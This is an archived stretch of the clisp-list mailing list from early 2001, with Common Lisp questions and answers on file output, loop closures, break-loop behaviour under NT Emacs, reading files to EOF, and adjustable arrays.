maybe the "cost of entry" for writing web server-side code in Lisp is just too high... -- Matt Curtin, Founder Interhack Corporation http://www.interhack.net/ "Building the Internet, Securely." research | development | consulting From dado@lcmi.ufsc.br Wed Jan 17 10:09:46 2001 Received: from baker.lcmi.ufsc.br ([150.162.14.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14Ix1l-0008O0-00 for ; Wed, 17 Jan 2001 10:09:45 -0800 Received: from localhost (dado@localhost) by baker.lcmi.ufsc.br (8.9.3/8.9.3) with SMTP id QAA16791 for ; Wed, 17 Jan 2001 16:24:17 -0200 X-Authentication-Warning: baker.lcmi.ufsc.br: dado owned process doing -bs Date: Wed, 17 Jan 2001 16:24:17 -0200 (EDT) From: Leonardo Bitsch To: lisp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Break message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I' ve made this function to compile lisp code from a file and to write the results in other files! In fact, I want to write in the error file the "break message" as in lisp prompt and not the error. How can I do this? Thanks.. (defun lisp-call () ;;open the files (let ((is (open "file way/code" :direction :input)) (os (open "file way/results" :direction :output)) (es (open "file way/erros" :direction :output))) ;;write to files (multiple-value-bind (a error) (ignore-errors (print (eval (read is)) os)) (print error es)) (close es) (close os))) ;;start function (lisp-call) From sds@gnu.org Wed Jan 17 12:38:25 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14IzLd-0006SX-00 for ; Wed, 17 Jan 2001 12:38:25 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA14260; Wed, 17 Jan 2001 15:38:24 -0500 (EST) X-Envelope-To: To: Leonardo Bitsch Cc: lisp Subject: Re: [clisp-list] Break message References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 17 Jan 2001 15:34:31 -0500 Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.96 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Break message" > * Sent on Wed, 17 Jan 2001 16:24:17 -0200 (EDT) > * Honorable Leonardo Bitsch writes: > > I' ve made this function to compile lisp code from a file and to write the > results in other files! In fact, I want to write in the error file the > "break message" as in lisp prompt and not the error. How can I do this? > Thanks.. > > (defun lisp-call () > ;;open the files > (let ((is (open "file way/code" :direction :input)) > (os (open "file way/results" :direction :output)) > (es (open "file way/erros" :direction :output))) > ;;write to files > (multiple-value-bind (a error) > (ignore-errors (print (eval (read is)) os)) > (print error es)) > (close es) > (close os))) > ;;start function > (lisp-call) 1. you forgot to close `is'. You might find the macro `with-open-file' useful. Please see the CLHS. 2. what you probably want is to bind `*standard-output*', `*error-output*', and `*standard-input*'. Please see the CLHS. 3. You might find the function `dribble' useful. Please see the CLHS. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I haven't lost my mind -- it's backed up on tape somewhere. From marcoxa@cs.nyu.edu Thu Jan 18 06:24:50 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14JFze-0001MI-00 for ; Thu, 18 Jan 2001 06:24:50 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA10758; Thu, 18 Jan 2001 09:25:11 -0500 Date: Thu, 18 Jan 2001 09:25:11 -0500 Message-Id: <200101181425.JAA10758@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: dado@lcmi.ufsc.br CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Leonardo Bitsch on Wed, 17 Jan 2001 16:24:17 -0200 (EDT)) Subject: Re: [clisp-list] Break message References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > X-Authentication-Warning: baker.lcmi.ufsc.br: dado owned process doing -bs > From: Leonardo Bitsch > Content-Type: TEXT/PLAIN; charset=US-ASCII > Sender: clisp-list-admin@lists.sourceforge.net > Date: Wed, 17 Jan 2001 16:24:17 -0200 (EDT) > Content-Length: 783 > > I' ve made this function to compile lisp code from a file and to write the > results in other files! In fact, I want to write in the error file the > "break message" as in lisp prompt and not the error. How can I do this? > Thanks.. > > (defun lisp-call () > ;;open the files > (let ((is (open "file way/code" :direction :input)) > (os (open "file way/results" :direction :output)) > (es (open "file way/erros" :direction :output))) > ;;write to files > (multiple-value-bind (a error) > (ignore-errors (print (eval (read is)) os)) > (print error es)) > (close es) > (close os))) (defun lisp-call () (with-open-file (is "file way/code" :direction :input) (with-open-file (os "file way/results" :direction :output :if-exists :supersede) (with-open-file (es "file way/errors" :direction :output :if-exists :supersede) (multiple-value-bind (a error) (ignore-errors (print (eval (read is)) os)) (print error es)))))) Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From fjesus@cica.es Fri Jan 26 03:58:27 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14M7WL-0002D4-00 for ; Fri, 26 Jan 2001 03:58:25 -0800 Received: from istabba.us.es ([150.214.148.197]) by mail2.valinux.com with esmtp (Exim 3.16 #1 (Debian)) id 14M79q-0002no-00 for ; Fri, 26 Jan 2001 03:35:10 -0800 Received: from cica.es (istabba.us.es [150.214.148.197]) by istabba.us.es (8.9.3/8.9.3) with ESMTP id MAA09262 for ; Fri, 26 Jan 2001 12:33:32 +0100 Message-ID: <3A716089.E6D89FDE@cica.es> Date: Fri, 26 Jan 2001 12:33:29 +0100 From: Francisco =?iso-8859-1?Q?Jes=FAs=20Mart=EDn?= Mateos X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12-20 i586) X-Accept-Language: es-ES,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: Content-Type: multipart/alternative; boundary="------------40027E22AD20DB8681DCA51D" Subject: [clisp-list] Family of functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: --------------40027E22AD20DB8681DCA51D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I want to build a family of functions, my first attempt was (setq function-set-1 (loop for i from 0 to 9 collect (lambda (x) (list x i)))) But this don't work properly: (setf f1-6 (nth 5 function-set-1)) > (funcall f1-6 3) ; => (3 10) !!! It will must be (3 5) When I do the same with mapcar: (setq function-set-2 (mapcar (lambda (i) (lambda (x) (list x i))) '(0 1 2 3 4 5 6 7 8 9))) (setf f2-6 (nth 5 function-set-2)) > (funcall f2-6 3) ; => (3 5) What's the problem with loop? --------------40027E22AD20DB8681DCA51D Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I want to build a family of functions, my first attempt was

(setq function-set-1
   (loop for i from 0 to 9 collect
     (lambda (x) (list x i))))

But this don't work properly:

(setf f1-6 (nth 5 function-set-1))

> (funcall f1-6 3)
; => (3 10)  !!! It will must be (3 5)

When I do the same with mapcar:

(setq function-set-2
      (mapcar (lambda (i) (lambda (x) (list x i)))
       '(0 1 2 3 4 5 6 7 8 9)))
 
(setf f2-6 (nth 5 function-set-2))

> (funcall f2-6 3)
; => (3 5)

What's the problem with loop?
  --------------40027E22AD20DB8681DCA51D-- From bernardp@cli.di.unipi.it Fri Jan 26 06:55:58 2001 Received: from crudelia.cli.di.unipi.it ([131.114.11.37] helo=mailserver.cli.di.unipi.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14MAI9-0003Tk-00 for ; Fri, 26 Jan 2001 06:55:57 -0800 Organization: Centro di Calcolo - Dipartimento di Informatica di Pisa - Italy Received: from fire.cli.di.unipi.it (fire-ext.cli.di.unipi.it [131.114.11.52]) by mailserver.cli.di.unipi.it (8.9.3/8.9.3) with SMTP id PAA18020 for ; Fri, 26 Jan 2001 15:52:29 +0100 Received: (qmail 8363 invoked by uid 7794); 26 Jan 2001 14:55:35 -0000 Received: from carlotta.cli.di.unipi.it(131.114.11.15) via SMTP by crudelia.cli.di.unipi.it, id smtpda08278; Fri Jan 26 15:53:51 2001 Received: from localhost (bernardp@localhost) by carlotta.cli.di.unipi.it (8.8.5/8.6.12) with SMTP id PAA01869; Fri, 26 Jan 2001 15:54:09 +0100 (MET) X-Authentication-Warning: carlotta.cli.di.unipi.it: bernardp owned process doing -bs Date: Fri, 26 Jan 2001 15:54:08 +0100 (MET) From: Pierpaolo BERNARDI To: Francisco =?iso-8859-1?Q?Jes=FAs=20Mart=EDn?= Mateos cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Family of functions In-Reply-To: <3A716089.E6D89FDE@cica.es> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, 26 Jan 2001, Francisco Jes=FAs Mart=EDn Mateos wrote: > I want to build a family of functions, my first attempt was >=20 > (setq function-set-1 > (loop for i from 0 to 9 collect > (lambda (x) (list x i)))) Try: (setq function-set-1 (loop for i from 0 to 9 collect (let ((j i)) (lambda (x) (list x j)))) > What's the problem with loop? In the loop version you were using ten times the same variable, not ten different variables. P. From sds@gnu.org Fri Jan 26 09:00:49 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14MCEz-0005eL-00 for ; Fri, 26 Jan 2001 09:00:49 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA04573; Fri, 26 Jan 2001 12:00:28 -0500 (EST) X-Envelope-To: To: Francisco =?iso-8859-1?q?Jes=FAs_Mart=EDn?= Mateos Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Family of functions References: <3A716089.E6D89FDE@cica.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3A716089.E6D89FDE@cica.es> Date: 26 Jan 2001 11:56:55 -0500 Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.96 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3A716089.E6D89FDE@cica.es> > * On the subject of "[clisp-list] Family of functions" > * Sent on Fri, 26 Jan 2001 12:33:29 +0100 > * Honorable Francisco Jes=FAs Mart=EDn Mateos writes: > > I want to build a family of functions, my first attempt was >=20 > (setq function-set-1 > (loop for i from 0 to 9 collect > (lambda (x) (list x i)))) (setq function-set-1 (loop for i from 0 to 9 collect (let ((i i)) (lambda (x) (list x i))))) should do what you want. this is because in your version "i" is bound in turn to 0..9 and lambda gets the binding, so all lambdas have the same "i", so to speak, which changes values. in my version, each lambda gets its own "i", bound specifically for it. this is not a bug, but a subtle intricacy of Common Lisp. --=20 Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The paperless office will become a reality soon after the paperless toilet. From kristoffer.kvello@mindless.com Sat Jan 27 09:56:05 2001 Received: from mail.enitel.no ([194.19.2.12] helo=enitel.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14MZa1-0008Me-00 for ; Sat, 27 Jan 2001 09:56:05 -0800 Received: from [195.204.132.22] (HELO holger.mindless.com) by enitel.no (CommuniGate Pro SMTP 3.4b7) with ESMTP id 15603179 for clisp-list@lists.sourceforge.net; Sat, 27 Jan 2001 18:55:52 +0100 Message-Id: <4.3.0.20010127183832.00c757a0@m1.2224.telia.com> X-Sender: u222401390@m1.2224.telia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Sat, 27 Jan 2001 18:57:09 +0100 To: clisp-list@lists.sourceforge.net From: Kristoffer Kvello Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] weird breakloop interaction with nt emacs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I get this consistently with win32 clisp from 2000-03-06, running in nt emacs 20.7.1 on Windows NT 4.0, SP 6 both in a standard shell ("M-x shell") and with the run-lisp command running clisp in inferior-lisp mode (my setup is copied from the editors.txt file supplied with clisp): [1]> hello *** - EVAL: variable HELLO has no value 1. Break [2]> yesterday *** - EVAL: variable YESTERDAY has no value 2. Break [3]> abort 1. Break [2]> abort *** - EVAL: variable ABORT has no value 2. Break [4]> It seems like the 'abort' will only bring me one level up regardless of how deep I am: [1]> en *** - EVAL: variable EN has no value 1. Break [2]> to *** - EVAL: variable TO has no value 2. Break [3]> tre *** - EVAL: variable TRE has no value 3. Break [4]> fire *** - EVAL: variable FIRE has no value 4. Break [5]> abort 3. Break [4]> abort *** - EVAL: variable ABORT has no value 4. Break [6]> abort 3. Break [4]> abort *** - EVAL: variable ABORT has no value 4. Break [7]> abort 3. Break [4]> abort *** - EVAL: variable ABORT has no value 4. Break [8]> abort 3. Break [4]> Run from a standard dos shell, clisp behaves as I would expect i.e. each abort exits one level of the breakloop until I'm back in the normal toplevel. From haible@ilog.fr Mon Jan 29 06:55:31 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14NFiN-0001TO-00 for ; Mon, 29 Jan 2001 06:55:31 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA06612; Mon, 29 Jan 2001 15:50:33 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.75]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA10343; Mon, 29 Jan 2001 15:54:37 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id PAA23037; Mon, 29 Jan 2001 15:54:16 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14965.33816.700129.37122@honolulu.ilog.fr> Date: Mon, 29 Jan 2001 15:54:16 +0100 (CET) To: Kristoffer Kvello CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] weird breakloop interaction with nt emacs In-Reply-To: <4.3.0.20010127183832.00c757a0@m1.2224.telia.com> References: <4.3.0.20010127183832.00c757a0@m1.2224.telia.com> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Kristoffer Kvello writes: > I get this consistently with win32 clisp from 2000-03-06, running in nt > emacs 20.7.1 on Windows NT 4.0, SP 6 both in a standard shell ("M-x shell") > and with the run-lisp command running clisp in inferior-lisp mode (my setup > is copied from the editors.txt file supplied with clisp): > 2. Break [3]> abort > > 1. Break [2]> abort > > *** - EVAL: variable ABORT has no value > 2. Break [4]> Can you try to change the coding-system of the shell buffer from xxxx-dos to xxxx-unix? The code which converts CR/LF to Newline in the CLISP input streams is a bit hairy and can be easily confused. Bruno From kristoffer.kvello@mindless.com Tue Jan 30 10:17:26 2001 Received: from mail.enitel.no ([194.19.2.12] helo=enitel.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14NfLJ-00074i-00 for ; Tue, 30 Jan 2001 10:17:25 -0800 Received: from [195.204.133.150] (HELO holger.mindless.com) by enitel.no (CommuniGate Pro SMTP 3.4b7) with ESMTP id 15877265; Tue, 30 Jan 2001 19:17:20 +0100 Message-Id: <4.3.0.20010129194013.00c749b0@m1.2224.telia.com> X-Sender: u222401390@m1.2224.telia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 29 Jan 2001 19:46:09 +0100 To: Bruno Haible From: Kristoffer Kvello Subject: Re: [clisp-list] weird breakloop interaction with nt emacs Cc: clisp-list@lists.sourceforge.net In-Reply-To: <14965.33816.700129.37122@honolulu.ilog.fr> References: <4.3.0.20010127183832.00c757a0@m1.2224.telia.com> <4.3.0.20010127183832.00c757a0@m1.2224.telia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: At 03:54 PM 1/29/01 +0100, Bruno Haible wrote: >Kristoffer Kvello writes: > > I get this consistently with win32 clisp from 2000-03-06, running in nt > > emacs 20.7.1 on Windows NT 4.0, SP 6 both in a standard shell ("M-x > shell") > > and with the run-lisp command running clisp in inferior-lisp mode (my > setup > > is copied from the editors.txt file supplied with clisp): > > > 2. Break [3]> abort > > > > 1. Break [2]> abort > > > > *** - EVAL: variable ABORT has no value > > 2. Break [4]> > >Can you try to change the coding-system of the shell buffer from >xxxx-dos to xxxx-unix? The code which converts CR/LF to Newline in the >CLISP input streams is a bit hairy and can be easily confused. That did the trick. Thanks a lot! From dado@lcmi.ufsc.br Wed Jan 31 09:33:39 2001 Received: from vangogh.lcmi.ufsc.br ([150.162.14.111]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14O18U-0003xP-00 for ; Wed, 31 Jan 2001 09:33:38 -0800 Received: from vygotski.lcmi.ufsc.br (root@vygotski.lcmi.ufsc.br [150.162.14.37]) by vangogh.lcmi.ufsc.br (8.9.3/8.9.3) with ESMTP id PAA26742 for ; Wed, 31 Jan 2001 15:33:21 -0200 (EDT) Received: from localhost (dado@localhost) by vygotski.lcmi.ufsc.br (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA09915 for ; Wed, 31 Jan 2001 15:33:19 -0200 X-Authentication-Warning: vygotski.lcmi.ufsc.br: dado owned process doing -bs Date: Wed, 31 Jan 2001 15:33:16 -0200 (BRST) From: Leonardo Bitsch To: lisp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Problems with read-line Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I have this code to read from a file some algorithm that came from a HTML text area. I want that this code read (and compile) the file until the end of file and not only the line (with "read-line"). How can I do this? Thanks, (setf *error-output* (open "erro" :direction :output)) (setf *standard-output* (open "saida" :direction :output)) (setf ?arq (open "input.lsp")) (handler-case (loop (eval (read-from-string (read-line ?arq))) ) (stream-error () (read-from-string "fim_do_arquivo"))) (cerror "Nenhum erro foi encontrado no código fornecido!") (close *error-output*) (close *standard-output*) From haible@ilog.fr Wed Jan 31 09:56:23 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14O1UU-0006Jd-00 for ; Wed, 31 Jan 2001 09:56:22 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA11788; Wed, 31 Jan 2001 18:51:01 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.221]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA23528; Wed, 31 Jan 2001 18:55:06 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA07054; Wed, 31 Jan 2001 18:54:38 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14968.20830.132396.792053@honolulu.ilog.fr> Date: Wed, 31 Jan 2001 18:54:38 +0100 (CET) To: Leonardo Bitsch Cc: Subject: Re: [clisp-list] Problems with read-line In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Leonardo Bitsch writes: > I want that this code read (and compile) the file until the end > of file and not only the line (with "read-line"). How can I do this? One possibility is that you write a function 'read-contents' which reads the contents of a stream until EOF, and returns it as a string. Another possibility, if the stream may contain multiple Lisp forms, is to call (load stream). 'load' also accepts streams, not only filenames. Bruno From Randy.Justice@cnet.navy.mil Tue Feb 06 09:30:57 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QBxB-0002G2-00 for ; Tue, 06 Feb 2001 09:30:57 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id LAA13148 for ; Tue, 6 Feb 2001 11:30:48 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id <127KRXH0>; Tue, 6 Feb 2001 11:30:58 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Tue, 6 Feb 2001 11:30:54 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09062.915212E6" Subject: [clisp-list] adjustable arrays Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09062.915212E6 Content-Type: text/plain; charset="iso-8859-1" Hi, Can someone help me... I'm trying to do adjustable array.. (let ((sum 0) (array-length ( - (array-dimension txy 0 ) 1)) (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array ) (setq cellminarray (adjust-array cellminarray '(4 4))) I think the error is in line: (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array I get *** - EVAL/APPLY: keyword arguments for # should occur pairwise Thanks for any help Randy ------_=_NextPart_001_01C09062.915212E6 Content-Type: text/html; charset="iso-8859-1" adjustable arrays

Hi,

Can someone help me...
I'm trying to do adjustable array..

(let ((sum 0)
      (array-length ( - (array-dimension txy 0 ) 1))
      (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array
     )
 
  (setq cellminarray (adjust-array cellminarray '(4 4)))
 

I think the error is in line: (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array

I get *** - EVAL/APPLY: keyword arguments for #<SYSTEM-FUNCTION MAKE-ARRAY> should occur pairwise



Thanks for any help

Randy

------_=_NextPart_001_01C09062.915212E6-- From bernardp@cli.di.unipi.it Tue Feb 06 09:39:20 2001 Received: from crudelia.cli.di.unipi.it ([131.114.11.37] helo=mailserver.cli.di.unipi.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QC5H-0002ay-00 for ; Tue, 06 Feb 2001 09:39:19 -0800 Organization: Centro di Calcolo - Dipartimento di Informatica di Pisa - Italy Received: from fire.cli.di.unipi.it (fire-ext.cli.di.unipi.it [131.114.11.52]) by mailserver.cli.di.unipi.it (8.9.3/8.9.3) with SMTP id SAA24559 for ; Tue, 6 Feb 2001 18:34:58 +0100 Received: (qmail 3111 invoked by uid 7794); 6 Feb 2001 17:39:32 -0000 Received: from carlotta.cli.di.unipi.it(131.114.11.15) via SMTP by crudelia.cli.di.unipi.it, id smtpda02975; Tue Feb 6 18:37:10 2001 Received: from localhost (bernardp@localhost) by carlotta.cli.di.unipi.it (8.8.5/8.6.12) with SMTP id SAA02772; Tue, 6 Feb 2001 18:37:29 +0100 (MET) X-Authentication-Warning: carlotta.cli.di.unipi.it: bernardp owned process doing -bs Date: Tue, 6 Feb 2001 18:37:28 +0100 (MET) From: Pierpaolo BERNARDI To: "Justice, Randy -CONT" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] adjustable arrays In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Tue, 6 Feb 2001, Justice, Randy -CONT wrote: > Hi, > > Can someone help me... > I'm trying to do adjustable array.. > > (let ((sum 0) > (array-length ( - (array-dimension txy 0 ) 1)) > (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array > ) Use: ... :adjustable t)) ... P. From Randy.Justice@cnet.navy.mil Tue Feb 06 09:52:23 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QCHv-0003Db-00 for ; Tue, 06 Feb 2001 09:52:23 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id LAA14128; Tue, 6 Feb 2001 11:51:58 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id <127KRXJV>; Tue, 6 Feb 2001 11:51:59 -0600 Message-ID: From: "Justice, Randy -CONT" To: "'Pierpaolo BERNARDI'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] adjustable arrays Date: Tue, 6 Feb 2001 11:51:50 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09065.80A31C26" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09065.80A31C26 Content-Type: text/plain; charset="iso-8859-1" Thanks for you help... Randy -----Original Message----- From: Pierpaolo BERNARDI [mailto:bernardp@cli.di.unipi.it] Sent: Tuesday, February 06, 2001 11:37 AM To: Justice, Randy -CONT Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] adjustable arrays On Tue, 6 Feb 2001, Justice, Randy -CONT wrote: > Hi, > > Can someone help me... > I'm trying to do adjustable array.. > > (let ((sum 0) > (array-length ( - (array-dimension txy 0 ) 1)) > (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array > ) Use: ... :adjustable t)) ... P. _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net 